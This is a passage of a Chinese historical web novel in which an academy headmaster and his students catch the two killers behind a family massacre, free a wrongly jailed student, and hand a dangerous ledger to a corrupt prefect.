“前不久啊,这赌坊后院半夜里突然起了一场大火,那火邪门的紧,不仅连门窗都点燃了,还燃的极盛,连带着附近不少铺子都差点遭了殃。那赌坊管事气的要死,也不知什么东西被烧了,竟是 连水都没泼,便直接冲了进去,后来找了好久,还是没寻到,怒的将上上下下所有的护卫全部给罚了一遍,这才罢休。” 大火? 童启心里起疑,面上却不动声色,继续问道,“那大火具体什么时候,您还记得吗?” 小老头想了半天,“似乎……就是十几天前吧,具体哪一日不记得了,只记得第二日便下了一场大雨,淋得透心凉,地上的积水好几日没下去,然后天气便骤然寒了起来。” 后面,摊主便开始说起提前准备煤炭的事情来。 如今冬日来的早,过了十月份,就开始上冻了,家家户户都在提前备柴火,价格也开始层层上涨起来。 童启听了一会儿,眼见着问不出什么其他的了,这才多给了钱,开始绕着着赌坊四周转悠起来。 如此规模的赌坊,河南府内只有永开这一家。 其他的要不就是闲庄,要么就是未经府衙允许开设的,他很好奇这背后到底何人,竟能如此光明正大,剥削敛财,更想看看有没有传说中的后门之类的,可以进去一观。 抱着这种想法,溜溜达达的走到了一处偏僻巷口附近,只见一辆马车停在空旷处,打眼却走下来一个熟人。 嗯? 他怎么会在这儿? 童启本能的迅速掩藏在墙角处,因为个子比较矮,倒是减少了不少暴露的可能。 丘师爷提起衣摆,小心翼翼的从马车上走下,警惕的看了看左右,这才进入了那个院子里。 童启耐心等待了一会儿,差不多有一盏茶左右的时间,才见到对方缓缓走出,赌坊的护卫恭送着,看起来十分亲密的样子。那丘师爷怀中却抱着一个木盒,沉甸甸的,像是装了不少东西。 难不成他这是撞见了什么行贿现场吗? 本如此想着,可还没离开,过了一会儿后,那院子里竟又走出一个他从未料想过的人来。 一身盔甲的丘二看起来满身肃穆之气,身后还跟着几个一眼望过去便不太像是普通中原长相的人。 童启猛地藏起身,心脏怦怦跳起来。 自上次蹴鞠赛之后,柏将军等人便回到了京城里去,他的护卫、副将等一干人,自然也归了军营,没有宣召的话,轻易不可出,更不可能独自出现在这里执行公务。 除非…… 这一次童启没敢露头,他和丘二实在是太熟了,以至于但凡稍微露出个身影,对方便有可能迅速认得出来,因此直到那马蹄声缓缓走远,听不到声音了,他这才皱紧眉头,再次从侧墙角内探出了身来。 本能的,童启感觉到这一次的事情,比他以往所经历的所有事,都要复杂许多。 可涉及到学生,他也只能硬着头皮,尽量往前走。 且说另一边,一头扎进赌坊中的郭胜开,如同打开了新世界的大门一般。 骰子、牌九、叶子牌、番摊、投壶、斗鸡……各种方式,看的他眼花缭乱。每个桌子前都围拥着不少人声嘶力竭的喊着,沸腾的声音吵嚷的他耳朵嗡嗡做响,不知所措。 旁边有人见到他一副小白模样,故意上前搭话道,“怎么,第一次来吗,小兄弟,用不用我们带你玩儿啊?” 郭胜开快速打量了一下两人的穿着,点了点头道。 “麻烦了。” 两个帮闲忙喜的对视一眼,瞬间围拥着他进入了牌九的那一桌。 这一桌输赢的点数都开的极大,通常由四个人参与,使用32张骨牌,进行搭配分组,比试点数,轮流坐庄,而参与的人甚至可以选择单注、多注、追注或者加倍的方式,来进行增加筹码,往往一赢便能赢得非常大,一输,便能够输的倾家荡产。 对面的管事懒懒抬了下脑袋,将桌子上的二两银子放在其中的一方。 而郭胜开要想参与,便也得掏出二两银子来。 他犹豫的斟酌了一下,依照规则跟随下注,刚开始连输两次,然而从第三次开始后,便迅速通晓了其中的逻辑和概率。 这是一种讲究策略和技巧的游戏。 他沉下心来,迅速学习着,不消一会儿,便赢了第三盘。 桌上的银子已经滚到了八两之多,那管事这才开始正视起郭胜开来。 他拿起牌码,再次洗牌发牌。 两个帮闲偷偷对视了一眼,在桌下迅速帮忙着实施换牌,想要以此手段,来令郭胜开输掉,然后抽水获利。 然而即便如此,两个人的动作也比不过脑海中宛如一台计算机,正疯狂计算着概率的人。 他冷静的扫视过桌上的牌码来,通过记忆,分析着每个人手中的点数。 几乎每一次翻开,都再无输过。 旁边的两个人都看呆了,头一次见到运气如此好的,连作弊都打不过,眼见着郭胜开赢得越来越多,庄家的脸色也越来越铁青,连带着不少人都被吸引过来,围拥着看热闹,他们也顾不得一开始打算宰肥羊的想法了,连忙拉着人便离开了赌桌。 “你不能再赢了!再赢,这门你就别想出去了,光是管事就不会让你走的,不是,小兄弟,你什么来头啊,怎么手气就这么好?” 两个帮闲将郭胜开一股脑拉到厕所旁,这才忍不住问出声。 郭胜开想了想,解释道。 “我这并非手气,乃是根据你们的概率,算出来的。” 算出来的? 这玩意儿还能算出来? 见两人一脸茫然,郭胜开也不掩饰,直接通过书院里学到的概率学跟两位简单介绍了一下原理,说的两个人晕头转向,半晌缓不过劲儿来。 “罢了罢了,你看起来就不像是来专门赌博的,说吧,到底来这里做什么的,难不成只是为了来测算……什么概率?” 郭胜开抱着满满当当的银子,这才想起山长嘱咐自己做的事,他忙打量了一下周围,生涩的从那一堆银钱中拿出五两平分给了两人,询问起这赌坊内,有没有经常光顾的左手使骰子的人来。 两人也没想到这郭胜开竟如此大方,随手一给,竟比他们的抽水还要多,接过银子之后,也不敷衍,当即便努力的帮忙回想起来。 “左手使骰子……哦,对了,我还真想起一个人!”那其中一位猛不丁拍了下大腿,感叹道。“吴麻子不就是用的左手吗?他以前犯了事,右手受了伤,不灵活,因此总是用左手摇骰子,咦,他以前经常来,输的裤子都要被当掉了,但是这几日好像没有再见到人了。” “吴麻子?” 郭胜开顿时打起精神,细细询问起这人来。 眼见着两三个时辰快要过去,童启守在赌坊门口,等的是越来越心焦。 正当他疑惑着是不是出了什么事,要不要进去找一找的时候,突然见到对方抱着大包小包的东西,雀跃的走了出来。 身后,还跟着两个一脸局促的闲汉。 “山长,我找到人了!他们说知道那吴麻子住在哪里,可以带我们一起去找!” 山长? 两个帮闲这才后知后觉,知晓自己这八成是卷入了华夏书院调查城东灭门案的事,顿时诚惶诚恐,忙向着童启行了一礼。 这年代文人地位极高,像是他们这样的人,一辈子也不可能有机会和秀才说得上话,更何况一个书院的山长? 而童启则懵懵的还礼,指着那远比十两银子要多出四五倍的本金,疑惑道。 “这是什么?” 我让你去探听消息, 你莫不是带着人,把赌坊打劫了吧 郭胜开腼腆的摸了摸自己的后脑勺,风轻云淡道,“哦,这些都是我用山长的本金赚回来的银子。” 赚回来的?银子? ……这年头,赌坊都这么赔钱了吗? 第63章 第63章抓住凶手 来不及多问,郭胜开便一股脑告知了童启所有获得的消息,包括那位吴麻子的事情。 “对方据说一直是赌坊常客,但不知道为什么,已经大半个月没来了。” 半个月? 这让童启不由想起了馄饨摊主所说的那场赌坊大火。 左利手、赌坊常客、近些时日行踪怪异。 听起来十分符合他要找的人,于是索性雇了那两位帮闲,让其领着他们前往吴麻子家寻人。 那两位本就敬仰华夏书院的事迹,又天天混迹于闹市中,拉人赌博,凑人头,顺带着从赌坊里赚些抽水,自然不该怠慢,忙领着便往城东走去。 “这吴麻子竟也住在城东?” 重新回到熟悉的地界,郭胜开猛地浑身一凛,似乎这才发现了两者之间的关联,忙问道。 其中一位点点头解释,“他本来是没房的,是他那出嫁的大姐丈夫死了,他便看人势弱抢了过来,将其姐另嫁了一户人家,自己强占了这宅子。平日里靠着赌博抽水、帮人跑腿赚些闲钱,因挨着闹市,所以生意倒也还不算错。” 几个人站在门外,伸手扣了扣那木门。 半晌无人应,便知估计是不在家。 童启扒着门缝仔细观察了一下那院墙,索性撸起袖子,直接往上翻。 郭胜开吓了一跳,也不顾及此事算不算斯文了,忙守在附近,帮忙遮掩着。 两个闲汉也紧张不已,站在巷口处,望着风。 因为腿短,童启不太利索的跳过那矮小的院墙,一路直入,顺着那泥泞的脚印,闯入了卧室之中。 果然无人。 床榻上,各种衣服、被褥杂乱无章的糅在一起,散发着油腻腻的气息,残留的食物印记黏在泥泞的地板上,黑黢黢的发着光。这完全是一个独身汉的标准房间,看样子已经许久没人住了,桌面上积了厚厚的一层灰,脚下取暖的灰盆内,还放着些许未燃烧干净的柏树枝及布片…… 布片? 童启掏出手帕,将那未燃烧殆尽的一角拿起,用食指轻轻摩挲了两下,心中再次笃定了几分。 里外简单逛了一圈后,他大喇喇从正门离开,帮着挂上了锁。 晚上回到清水巷,所有人再次聚头,纷纷交流起各自白日里的收获。 汪启元率先开口道,“那卖馒头的我已经去查过了,对方的确和刘武等人不对付,提起柳氏来也是满脸的怨气十足,认为是对方抢了他们的生意。可在案发时却有着充分的不在场证明。两个人均在厨房里赶工第二日要送的订单,不可能有时间参与凶杀案,左右邻居也皆有瞧见,所以衙门只是问了问,便把人给放了。至于他那背靠府衙的关系,其实也只是认了个干爹。说来也奇怪,他那干爹正是顾知府身旁的丘师爷,原本做的乃是稻草生意,可在丘师爷指点下改成了卖馒头,顺带包揽了整个府衙内的所有午食……” “至于刘武,他的熟人并没有几个,通常每日忙着摆摊做生意的事情,早出晚归,交流接触的也大多是闹市里的小摊贩,不存在什么突然登门拜访的人。” “倒是他大哥是个不空闲的,虽不良于行,可朋友却极多,听左右邻舍说,每天晚上都能听见刘武大哥和朋友们吃酒打牌的声音,不少人常常突然找上门来,只为了和他见面,刘武父母对此态度也极为纵容,许是不愿见到儿子意志消沉下去,所以并不阻止。” “他大哥的腿我也打听过了,据说是因为几年前在永开赌坊里欠了钱,还不上,被管事用棍子敲断的,因此他十分恨那赌坊里相关的人员,还曾扬言过一定要找机会,杀了他。” …… 几个学生们东一嘴西一嘴的信息,如同一缕缕丝线凝结在一起,串联起所有的人物来。 而童启则垂眸梳理着这庞大的信息量,将其分类择选,最后从一堆人名中,勉强抓出了“刘昌”这个名字。 “为何是他?” 刘卜温好奇的追问道。 按理说,在这些提到的人名中,最无可怀疑的便是刘昌了。相比起其他的狐朋狗友,这位不仅拥有正当的职业,还脾气温和,评价不错,总是按照约定的时间登门拜访,从不贸然行事。 怎么就会是第一个怀疑的人呢? 童启笑着摇了摇头,问道。 “那你觉得,如此不错的人,又怎么会跟一群善于赌博的惯犯长期厮混在一起呢?物以类聚,人以群分。而且,正是因为他总是固定时间拜访,这才是最可疑的。按照邻居的说法,刘家被灭门后的第二日,正是刘昌要应约拜访的日子,对吧?可在得知对方家里发生了如此大的事情,按理来说,不应该有些情绪波动的吗?不论是逃过一劫的欢喜,亦或者是对友人死亡的惋惜,可他却能够做到正常的上下值……” 越是在这种时候表现出超凡心性的人,才越是可疑。 因为要强行装出一副“正常感”,所以才更显得格格不入。 “你有打听到那位刘昌的住址吗?” “有,他就住在长风街倒数第三家。”常仕进道。 “好,看来,我们明天要正式开始蹲守长风街了。” 童启一锤定音,令众人赶紧去睡觉。 他能感觉到,自己抛出的渔网在逐渐缩小,而网中难以逃窜的猎物,也在逐渐的露出原本的模样。 吴韧被关押的第三日。 童启带着所有学生及镖师们乔装蹲守在长风街入口。 汪启元等人潜心观察着,见到刘昌正常上下值,买菜做饭,似乎就是个普普通通的大奉朝居民,并没有什么奇怪之处,不由腹诽着是不是山长想多了,可到了第二日傍晚,对方却突然拎着食盒,买了酒,调头出了城门,一路往城外而去。 “都跟上!” 童启压低了声音,摆摆手道。 一群人偷偷摸摸,紧随其后,唯恐惊动了对方,而那刘昌也十分谨慎,一路上三番四次的停下,观察着身后有没有人在跟随,直走到了城西的一间破庙外,这才弯下腰,躬身走了进去。 那破庙外四周并无遮挡之处,只有个半人高的草丛。 童启令其他人原地待命,自己则仗着身量矮小,缓慢趴在那草丛里,向内探视着。 果然,见到庙内一个满脸麻子的壮硕男人,正骂骂咧咧接过了刘昌手中的饭盒,狂吃起来。 那使筷的,正是左手。 他悄悄冲身后做了个手势,示意镖师和汪启元等人小心行事,准备抓人。 能不能彻底洗清学生的冤屈,如今只看这一击了。 破庙内,刘昌看着地上吴麻子狼吞虎咽的模样,一脸焦虑。 “你小心着些,别噎到了,咱们现在怎么办?最近因为那什么华夏书院,刘武的事情又被翻出来了,闹得沸沸扬扬的,我感觉此地不宜多待,还是趁早跑路为好。” “瞧你怂的,跑什么跑?” 吴麻子用那脏兮兮的手抱着一整只鸡大口啃着,满脸不屑道,“不过几个文人罢了,有什么可怕的?连正二八百的官老爷都找不到咱们,现在走,那才是真的坐定了咱们有问题呢!你且放心,这一次之后,我保证咱们两个人什么都不用动,便能过上比富绅老爷们还要舒服的日子!到时别说刘武那事了,就算咱们亲口承认,也没人敢抓!说不得就连县令老爷都得倒过来巴结咱们呢!” 刘昌听得眼中异彩连连,忍不住追问道。 “你确定?那东西,真的有这么厉害?万一是刘志吹牛……” “不可能!我亲自去永开赌坊试探过,这东西,绝对无误!再说了,这可是诛九族的大事,谁敢作假?” …… 两个人低声细语筹谋着今后的计划,正美滋滋畅想着,突然,破庙外几个壮汉闯入,还未看清,便直接出手将他们打晕,绑了起来。 “他奶奶的,还真是他们俩!山长,这便是城东灭门案的凶手吗?” 童启和汪启元等人走进来,见人已经彻底晕了过去,这才松了口气道。 “嗯,应是他们无误。” 其实,在他之前的推断中,这两人便是凶手的概率已经高达70%,而方才的对话,更是让他确定了这个结果的完整性。 他俯下身,从吴麻子的怀中 掏出那本突出的账册来,翻阅着。 刚看了没两页,身旁几个学生已经疑惑的围了上来,好奇的探头道。 “这是什么,看起来,好像是个账本之类的?” 童启猛地合上那册子,浑身吓出一身冷汗来。 原来如此,一切的一切如同点瞬间连成了线,让他恍然大悟,心惊不已。 也终于明白了吴麻子口中稍有差池,便是诛九族的大罪是何意思。 他厉声警告了在场的所有人。 “今日我们只是抓捕了两个逃犯,其他的,什么都没有拿到,你们也什么都没有看见,明白吗?” 头一次见到山长如此严厉,学生们和众镖师连忙点了点头,不敢再追问。 而童启则将这册子收起,一把塞进了自己的怀中。 这东西不能留。 可扔给谁,也要好生考虑一番,毕竟是“牵连全族”的大礼包,就如同一个定时炸弹一般,一个处理不慎,便是一堆人的人头落地。 突然,他想起一个好去处,不由挑了挑眉头。 看来,也是时候回馈某人的“刁难之恩”了。 “走吧,有着这两个人,咱们总算是可以换吴韧出来了。你们先带着人往衙门里去,动静争取闹得大一些,让百姓们都过来看着,我稍后就来,咱们且再敲一次鸣冤鼓去!” “是!” 几个人瞬间兴奋起来,提溜起吴麻子等人,便往府衙外走去。 一路上,大摇大摆,逢人便讲,很快便聚集起了不少百姓。 衙门里十几日都没破的城东灭门案,华夏书院仅用三日,便破掉了! 不少人听到消息后,索性连生意都不做了,只为赶来凑热闹,听“故事”,整个州府门口被挤得水泄不通,差点连王学政都没挤进去。 实际上,在从他口中说出吴韧是自己侄女婿的那一刻起,他便已经无形中上了华夏书院的船。 要死,便一起死,要活,便一起活,无从选择。 因此童启这场仗必须赢。 也只能赢! 顾知府被人匆匆忙忙从床上叫了起来,连衣服都没来得及整理,便重新坐回到了堂前。 他难以想象,仅三日,对方便真的把凶手给找到了,还亲手抓了回来,心神具颤之间,不由望向那被捆绑的晕厥二人,狠狠拍响了惊堂木,怒斥道。 “大胆童启,你以为随便找两个人,指认对方是凶手,那便是凶手了?凡事都是要讲究证据的,你敢为自己说出的话负责吗?” “当然!” 童启背着手站在堂下,小小的个子,气势十足,道,“我能有此举,自是有了十足的把握,才敢开口,定不会像府衙一般如此儿戏的。烦请大人令人拿盆水来,将此二人泼醒,届时,我自有说法。” 旁边的王学政连忙摆了摆手,令身边的小厮去抬来一盆凉水,狠狠泼在了两个犯人身上。 冰冷刺骨的温度使得他们一激灵,迅速清醒过来。 吴麻子环视一圈,见到自己所身处的位置,顿时慌得不行。 “这是哪儿,我怎么会在这儿?放开我,还不快放开我!” 第64章 第64章(营养液加更)烫手山芋…… 刘昌也唬得不行,连忙挣扎起来,口中喊冤。 童启冷笑一声,平静的阐述道。 “吴麻子,家住东区闹市附近,上有一姐,和离再嫁,终日以跑腿赌博为业,闲散游民。刘昌,家住长风街,家中有一老一弟,平日里帮忙在驿站中端盘子洗碗,做些杂事,与刘武的哥哥刘志乃至交好友,常来常往,每月固定探望,可有错漏?” 听到这些信息,吴麻子顿时一滞,抬起头,凶狠的看向说话的人,慌乱问道。 “你是谁?你怎么会知道我的事?” 童启却并没有理会他,而是将目光看向了人群外围拥的百姓们。 刘昌顺着其视线看过去,见到早已经吓得晕厥的亲爹和弟弟,瞬间心乱不已。 “十三日前,城东灭门案的当晚,一开始便不是什么陌生人闯入,见色起意,而是一场极有谋略的策划行为。” 所有人惊叹的看向正中间站着的童启,对方就如同亲眼看到了案发现场一般,开始缓缓讲述起整件事情的发展脉络来。 “刘武的哥哥刘志乃是一名习惯赌博的人,数年前,在永开赌坊因为欠债而被打断了腿,之后便一直郁郁不得志。刘昌作为其朋友,经常在初一十五的时候,前往探望,借着抱怨的机会,向刘志借钱。可渐渐的,他债台高筑,又还不上,便起了一劳永逸的心思,见其身边的弟媳柳氏年轻貌美,便伙同了好友吴麻子,偷偷在半夜将刘志、刘武等人灌醉,然后施行奸、、辱之事,并销毁了所有欠条借款之物,顺带卷走了刘武做生意的所有银钱。可没想到半路刘武酒醒,发现了此事,和吴麻子打成一团。两人搏斗之际,被吴麻子拿起桌上的匕首,不慎捅死。慌乱之后,两个人索性一不做二不休,伪装成山贼闯入的样子,杀害了刘武的爹娘及柳氏。” “刘志本因醉酒而逃过一劫。可刘昌担忧其醒后会供出两人,便利用腰间的牛皮绳,勒死了对方,然后同吴麻子回到住处,销毁了所有衣物后,方才归家。” 吴麻子如同见了鬼一般望着童启,惊愕的半晌说不出话来。 而仵作等人则在沉思过后,恍然大悟起来。 怪不得刘志明明被勒死,脖颈间却没有任何布料残留,原来竟是这个原因。 牛皮绳? 一般这玩意儿很少被用作腰带,除非是面见一定等级的官员们才会如此穿着,那刘昌在驿站中迎来送往,怪不得会如此。 可他竟就这么大喇喇穿戴了十几日,都无人发现? 实在是可怕至极! “你到底是谁?怎么会知道当日之事……” 那刘昌被吓得猛地开口,后知后觉才发现自己说漏了嘴,满脸懊悔的低下脑袋。 周围人群早已经开始沸腾起来,谁也没想到,那惨无人道的凶手,竟然是本地人,而且还这么光明正大,就藏在每日客流量最多的地方! “天哪,怎么会有如此畜生?” “就是啊,若不是那刘志引狼入室,柳氏也不会……” “真是可怜了刘武夫妻,这便是所交非人的下场啊!” …… 听着旁边百姓们的议论纷纷,刘昌强行逼着自己冷静下来,连连否认道,“不是我,不是我!你在胡说,我不知道什么牛皮绳,这只是我的腰带罢了!整个驿站里的小厮腰上都有此物!” “哦?那你可愿解开让我们查看一下上面残留的血迹?顺带一说,血液中的蛋白质在酸性条件下会发生变性或者沉淀,即便是被反复清洗过,可但凡有任何残留,只要在醋水中浸泡一盏茶的时间以上,便会出现颜色变化。” 童启摆摆手,令人将刘昌腰间的牛皮绳剥了下来,按照所说的一番操作,果然不一会儿,便变了颜色。 大家不明觉厉,如同看什么戏法一般围观着,旁边的仵作更是随手掏出本子,连忙记录起来。 那刘昌脸色惨白,汗如雨下,半晌说不出任何话来,可吴麻子却依旧咬紧了牙,死活不承认,梗着脖子大声争辩道。 “那也说明不了什么,事情都是刘昌一个人做的,与我无关!我压根就不认识什么刘志,凭什么抓我?” 反正他咬死了是被污蔑,不承认,那衙门里便不可能定罪。 无凭无据的,他就不信能如何。 凭白背了所有的锅,刘昌气的浑身发抖,可却不敢多说什么。 多一个人便多一条可能,他还希冀着对方跑出去,想办法营救自己呢。 可童启什么人?断不会让任何一个凶手逍遥法外的。 他上前一步,抱拳请求道。 “我请求传唤四个受害者的尸体上堂。” 顾知府高坐在上方,沉默的看着他,一点点握紧了手中的惊堂木。 旁边的王学政适时插手道,“自然可以,请吧。” 所有百姓目光灼灼紧盯着,顾知府没法阻止,只得唤人将其带了上来。 四具盖着白布的尸体吓得不少人纷纷后退,一脸惊恐。 童启却上前一把掀开了那布条,暗庆着最近的天气不算热,尸体没有腐化的太过分。 猛然见到青白的皮肤及那外翻的伤口,有那受不了的直接转过头便吐了起来,不敢再看,就连台上的顾信之、王学政等都纷纷侧过了脑袋,一脸不适。 童启却没有半点反应,贴心的指着那些伤痕,一一讲解道。 “首先,我们来看刘志的尸体,他的手指内侧布满老茧,明显是有着常年赌博的痕迹的,这也可以通过对方屋内收藏的骰子等赌博工具看出。因着不良于行,所以其屋内很多东西都放置在略低于自己视线以内的位置,可案发现场内,经常放钱的罐子却置于高物架上,明显是被人动过。凶手为了混淆视听,故意没有拿里面的钱,可不少欠条却不翼而飞,包括刘武夫妇做生意所用的褡裢,也不见了,唯一可解释的,便是对方意图本就在于钱财之上,而非美色。” “刘志的致命伤是脖颈处,被人从后勒死,可其他人,却皆是刀伤。这说明凶手有两人,且从刀口的位置和形状来看,用刀的人体型硕大,要远高于刘武,如果惯用右手,伤口理应从右向左刺入,切入面会比较流畅一致,可这伤口却完全呈相反状态,说明凶手是左利手,也就是习惯了用左手工作,右手不便的可能性极大。刺入的第一刀,在胸口处,因力道极大,明显卡住了皮肉,后面的几刀则渐渐熟练,出血量也相对较小……” 有那胆大的,早已经按照童启的说法去观察起来,见到果然一致,皆震惊不已。 旁边的仵作和师兄手下记得飞起,如同听课一般,而丘师爷和王学政则是直接听的愣住,久久缓不过神来。 “大家请看刘武爹娘的尸体,基本上也都是一刀毙命,完全没有任何反抗的能力,几乎一照面,便被残忍杀害。这绝对是远高于他们的身高和体型,才能够做到的,而以刘昌的身体素质来看,并不具备这样的能力。他连丝毫都无威胁感的刘志,都采用的勒死的方法,更何况比他还要高一些的刘武本人呢?所以,我判定凶手定有两人,乃团伙作案。整个河南府赌博惯犯之中,能与刘昌相熟,且符合这一系列嫌犯要求,惯用左手的,只有吴麻子一人。” “而真正令我笃定,确实就是他的关键线索则是……” 童启停下,从怀中掏出一片未被焚烧干净的衣角来,看向吴麻子,道。 “我在其房内还搜出了这片未燃烧干净的衣角,上面残留的血迹,正好呈现点射状,看样子,应该已经有十日之久。下面,我请求传唤赌坊的管事,询问刘昌与吴麻子近些时日内的欠债情况,看看是否还清,并召柳氏,当堂对峙。” 没想到童启会叫赌坊的管事来,吴麻子顿时吓得脸色惨白。 而刘昌则在听闻到柳氏还活着的消息时,便整个人瘫倒在地上,失去了所有争辩的力气。 顾知府清楚大势已去,叹息一声,摆摆手,让衙役们前去唤人。 不一会,永开赌坊的管事亲至,一看到吴麻子,便整个瞳孔顿时一缩。 他双眸一厉,瞬间沉了下去,装作疑惑的样子,看向童启,听到对方询问,这才做出一副思考的模样来。 “是了!前不久刘昌这小子突然拿了一笔钱来,说要一口气结清以往所有的欠款,我虽疑惑,但也没有多问,如今想来,确实可疑。至于这吴麻子嘛……自城东那件事之后,我便再也没见过他,因此并不了解其他的事情。” 童启继续问道,“那您还记得刘昌来还钱时,那装钱的袋子是什么图样吗?” “好似……是一个油兮兮的褡裢?背后似绣着什么,一晃而过,我并没看清。” 他拿出从刘武房间里寻找到的备用褡裢,展示了一下,再次确认道,“那您看看,是这样的形状吗?” 赌坊管事细细的翻看了两下,恍然道,“确是如此,这背后模糊绣着一个【饼】字,我当时还疑惑是什么呢,原来竟是烧饼的意思?” 四周的邻里街坊早已经憋不住大声怒骂起来,因着刘武等人做的烧饼生意,所以装钱的褡裢,总是油兮兮的,不少人都曾见到过,许多摊贩甚至觉得方便,还跟着模仿缝制,谁能想到,最后竟出现在了刘昌的手上? 用作偿还赌债? 吴麻子不甘心,还想着再辩驳一二,可这时,柳氏被人带着缓缓走了出来。 甫一见到这两人,她便猛地被吓得后退了一大步,失声痛哭起来,满脸的惊惧之色,活像是看到了地狱里的厉鬼一般,不断挣扎想逃。 见到这情景,基本上不必再问,真相都已经十分明确了。 童启冷哼一声,不屑的看着地上绝望的两人,怒道。 “多行不义必自毙,你们许是也没有想到,那柳氏竟然还没死吧?当日刘武的兄长如此厚待信任你们,可你们呢,却做出如此禽兽不如的事情,还算是人吗?” “你他娘的懂个什么?呸,他信任我?他明明就是个瘸子,整日困在家里什么都做不了,若不是我天天去陪他,谁会理会他?不过是借个钱而已,整日催催催,明明自己的腿也是被赌坊打断的,可却希冀着我和他一样!这也称得上是厚待我?” 刘昌满眼通红,歇斯底里的喊道。 童启摇摇头,不再多言。 夏虫不可语冰,有的人,你是无论如何也说服不了,更没办法理解的。 或许在他们眼中,全世界都是欠他们的,理应当然将所有都捧在其面前,任由选择,否则便是对他不起。 刘志刘武正是没有看出这一点,才祸及家人,落得如此下场。 实在是可悲可叹。 有着两个人的供词,外加铁证如山,无可狡辩,这场案件终于在整整十四日之后,水落石出,成功得到解决。 衙役们气愤的将两人投入牢房内,等待着上报大理寺、刑部后,秋后处斩。 而被冤枉的吴韧,也因此被当场释放,归还了所有清白。 一众学生瞬间围拥上去将他搀扶住,眼角带泪的看着他。 那吴韧颤颤巍巍站直了,头发上还沾染着不少稻草,一身狼藉,看起来,这几日过的并不算好。 童启温柔的踮起脚,将他头顶上的草根拿下,安慰道。 “我来接你了,是山长的错,令你受苦了。” 吴韧坚定的摇了摇脑袋,不顾及所有人的阻拦,强硬的提起下摆,恭恭敬敬跪倒在童启身前,头一次,认认真真磕了三个响头,叹道。 “弟子吴韧,感谢山长及众师兄弟们的营救,今日,终于归队!” 四周的百姓见此,皆忍不住落下泪来,就连王学政也是一脸的感慨。 谁能想到,一个刚刚拿下秀才案首的少年,竟在短短几日内受到了如此天翻地覆的改变? 可也正是因着这事,对方整个人肉眼可见的沉稳了许多,不仅身上原本带着的天真稚气,此刻皆收敛起来,就连周遭的气场,也变得不慌不忙了,就如同经历了岁月的一把厚重的剑般,藏入剑鞘之中,压抑起所有锋芒,只待拔出。 没有经历过雕琢的玉,不算美玉。 有了这一遭,吴韧这才算是真正的悟了。 王学政摸着自己的胡须,暗暗点头,而旁边不愿再见到这师生和乐的顾知府和丘师爷则铁青着脸,站起身,准备离开。 童启直接叫住问道。 “且慢。知府大人,本朝律法,刑不上大夫。秀才以上的文人,免受普通刑罚,不准随意殴打,您此次未经调查,随意污蔑有功之人,还未给我们一个合适的交代呢。” 呵,交代? 他一个从三品官员,有何需要跟他们这些人交代的? 不过一个小小的 秀才而已,打便打了,他们还能奈何得了他不成? 顾信之无语的站在堂上,轻蔑的俯视着童启,那眼神,似乎在嘲讽他的天真与不自量力。 “此事,的确是本知府没有细心核查,可吴韧本人也实在是疑点重重,不算冤枉。如今安然平反,这事情,便到此为止吧。” “即便我们华夏书院联合上书,请求陛下公正,您也不愿意道歉吗?” 顾信之脚步一滞。 童启转过身,眨眨眼,似试探一般问道。 他瞥了眼旁边一脸正气的王学政,忌惮的深呼吸了一口气。 “得饶人处且饶人,童山长,有些事情,没必要闹得那么僵,不是吗?就算你们联合上书,最后得到的,又能如何,难不成你觉得就为了这点小事,陛下还会罢了我的官不成?说到底,此事也并非我一人之过,对吧丘师爷?” 猛地被叫到名字,丘师爷一脸茫然的抬起脑袋,还未开口,便被上司安排了一口大锅。 “说来,也是你轻率,还未查清楚,便急匆匆要求本官判案,不仅错误引导,冤枉了吴秀才,还因此令我误会了华夏书院,实在是可恶。这样吧,从明日起,你便不必再来了,也省的被其他人说本官维护包庇于你。” 丘师爷脸色一白,“大人!” “嗯?还敢多言?难不成非要本官将你下入狱才可吗?以后的路,且还长着呢,莫要自绝其路才是。” 犹如杀鸡儆猴一般,顾信之冷漠的站在高台之上,看着丘师爷头颅一点点低了下来,直至跪倒在地上,磕头谢恩,这才终于满意。 告?你尽管去告啊? 他的恩师可是大名鼎鼎的胡丞相!到时候一股脑全推到丘师爷身上,谁又能奈何得了他? 果然,一天官都没做,就是天真。 顾知府蔑视一笑,得意的甩袖离开。 童启和王学政不耻的看着其身影,无语至极。 可心中也清楚,这已经是他们能够争取到的最大结果。 对方是知府,朝中的三品大员,且背靠胡丞相、大皇子他们,若真想求得公平,除非改朝换代才有可能!不然的话,他们无权无势,处于下位,即便真的被打死,也只能叹一声可怜罢了,没有任何方法。 这,便是官场的残酷。 而封建社会的蛮横无理,此刻,也不过刚刚露出冰山一角罢了。 童启抬起头望向那衙门上高挂着的【明镜高悬】四个字,忍不住拍了拍学生们的肩膀。 “好好学吧。大家都记住今日的感觉,等哪一日你们坐在同等的位置上,谨记自己不要成为第二个顾信之才好。” 吴韧、汪启元等人均认真的听着,握紧了拳,誓要将这一次的屈辱,完整的刻入心底。 而童启也没有久留,在接回吴韧后,便连夜带着人赶回了伊川。 府城实在太危险,不能久待。 要想猥琐发育,那还是先留在“新手村”,慢慢成长吧。 当然,走之前,他也没忘记将王学政和吴韧的婚事先给处理了,三方一致商量后,很快便约定好了定亲时间,先走完六礼,等明年考完进士,再行大婚。 “好,既如此,那我便替小女先准备起嫁妆了,望你金榜题名,得胜归来。” 王学政满意至极。 童启也没有追问怎么就从原本的表侄女,突然切换成女儿了,反正都是王学政一家,只要吴韧愿意就行。 他放心的将此事一并交给了对方自己处理。 寒门式微,能走到今天,已经是十分不易,若能有个五品官的岳父帮衬着,那对于今后的升官之路,想必也会更加顺遂一些。 吴韧自然懂得这个道理,他清楚,这一次自己能够得到平反,除了山长,很大程度上也是靠的王学政力挺。 若没有对方,怎么也得多关个几日,才能出来。 于是想了想,从自己的衣袖中取出了当日蹴鞠大赛赢了之后拿到的书院徽章,一并递给了王学政,道。 “学生身无旁物,真正的婚事也要等到明年考完进士之后,再来迎娶,实在是委屈了小姐。这枚徽章,乃是我华夏书院独有,世上再无仿制的可能,背后镌刻着不同的编号,只此一枚,平日里,是我最最珍惜的东西。今日,便赠与小姐,待他日功成名就,必亲自登门,感谢援手之恩。” 王学政接过那枚精致的银色徽章,满意的点了点头。 “你的人品,我自是相信的,好好读书,我明年等着你的好消息。” 他抬手拍了拍对方的肩膀,目送着华夏书院一行人离开。 且不说那王绾儿接过徽章之后,有多么欣喜非凡,只说童启离开前,同样不忘雇人给顾知府留下了一个极好的礼物来。 河南府,府衙后院,小厮拿着一个包裹小心翼翼走上前来。 “大人,这是有人说是要送给您的。” “送给我?谁啊?”顾知府烦躁的接过那用棉布包裹着的东西,看似十分精致的外包装,打开,里面却是一本平平无奇的账册。 